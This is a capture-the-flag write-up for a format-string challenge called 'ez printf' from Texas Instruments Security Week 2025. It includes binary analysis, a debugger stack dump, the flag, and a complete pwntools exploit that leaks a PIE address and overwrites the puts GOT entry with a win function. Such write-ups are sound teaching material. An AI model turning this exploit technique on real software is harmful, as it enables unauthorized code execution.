> For the complete documentation index, see [llms.txt](https://h4ck-th3-wh47.gitbook.io/h4ck_th3_wh47/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h4ck-th3-wh47.gitbook.io/h4ck_th3_wh47/ctf-2025/texas-instruments-security-week-2025.md).

# Texas Instruments Security Week 2025

**⚓️ Ahoy, landlubbers and logic-lords! This be she11D0n3 of the notorious crew H4ck\_th3\_Wh47, chartin’ a course straight into the stormy seas of&#x20;*****Texas Instruments Security Week 2025*****! 🏴‍☠️**\
Each system’s a cryptic siren song, each puzzle a treasure chest locked with layers of encryption. We don’t just hack—we *unravel*, we *decode*, we *conquer*. 🔐⚡

## PWN

### ez printf

First I look for file type and protections.

```
>>>file vuln
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, ..., for GNU/Linux 4.4.0, not stripped
>>>checksec --file=vuln
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No
```

Analysing and de-compiling the binary:

```
read(0, buf, 120uLL);
printf(buf);
read(0, buf, 120uLL);
printf(buf);
puts("nice try");
return 0;
```

So, we can see that there is a clear **format string vulnerability** twice, since no format specifiers are passed to `printf`.

Further there is also a `win` function that prints the flag.

#### **Exploit**

1. Use the first input to leak an address that points into the binary itself, which we'll use further to get runtime `win` function address (thereby Bypassing PIE protection).
2. Overwriting the GOT entry for `puts` with the dynamically resolved addr of the `win` function (GOT overwrite).

**Execution**

```
pwndbg> stack 20
    00:0000│ rsp 0x7fffffffd880 ◂— 'MYINPUT\n'
    01:0008│-078 0x7fffffffd888 ◂— 0x80000
    02:0010│-070 0x7fffffffd890 ◂— 0x8000
    03:0018│-068 0x7fffffffd898 —▸ 0x7fffffffd8c8 ◂— 0
    04:0020│-060 0x7fffffffd8a0 ◂— 0x6800000017
    05:0028│-058 0x7fffffffd8a8 ◂— 0
    ... ↓        7 skipped
    0d:0068│-018 0x7fffffffd8e8 —▸ 0x7ffff7fe5af0 (dl_main) ◂— endbr64 
    0e:0070│-010 0x7fffffffd8f0 —▸ 0x7fffffffd9e0 —▸ 0x555555555090 (_start) ◂— endbr64 
    0f:0078│-008 0x7fffffffd8f8 ◂— 0x34417aea34716e00
    10:0080│ rbp 0x7fffffffd900 —▸ 0x7fffffffd9a0 —▸ 0x7fffffffda00 ◂— 0
0x7fffffffd8f0 —▸ 0x7fffffffd9e0 —▸ 0x555555555090 (_start) ◂— endbr64
```

So there is 0x55.. address of `_start` which is pointing in the binary (can also check using command vmmap in pwndbg).

Inorder to access this address by `printf` we need to de-reference `0x7fffffffd9e0` this for which we'll use `%s` format specifier and will further unpack the printed addr.

I found the offset to be 20, so initial payload: `%20$s`

I usually prefer manually crafting the payload in case of overwriting via `%n` specifier because it took me some good time to understand the working, but since here the addr to jump on was being dynamically resolved, I used the pwntools library function.

#### FINAL EXPLOIT

```
from pwn import *

debug = 0
# context.log_level = 'debug'

elf = context.binary = ELF('./vuln1')

if debug:
    p = process(elf.path)
else:
    p = remote('74.207.229.59', 20221)


win_off = 0x1189
offset = 6

p.recvline()
p.sendline(b'%20$s')

leaked = p.recvline().strip().ljust(8, b'\x00')
leaked_addr = u64(leaked)
log.success(f"Leaked address: {hex(leaked_addr)}")


base = leaked_addr - elf.symbols['_start']
win = base + win_off
got_puts = base + elf.got['puts']

log.success(f"Base address: {hex(base)}")
log.success(f"win function: {hex(win)}")
log.success(f"puts@GOT : {hex(got_puts)}")


payload = fmtstr_payload(offset, {got_puts: win}, write_size='short')

p.sendline(payload)


p.interactive()
p.recv()
```

**Flag: texsaw{Pr1nt1ng\_tHe\_Fs\_15\_e4sy}**
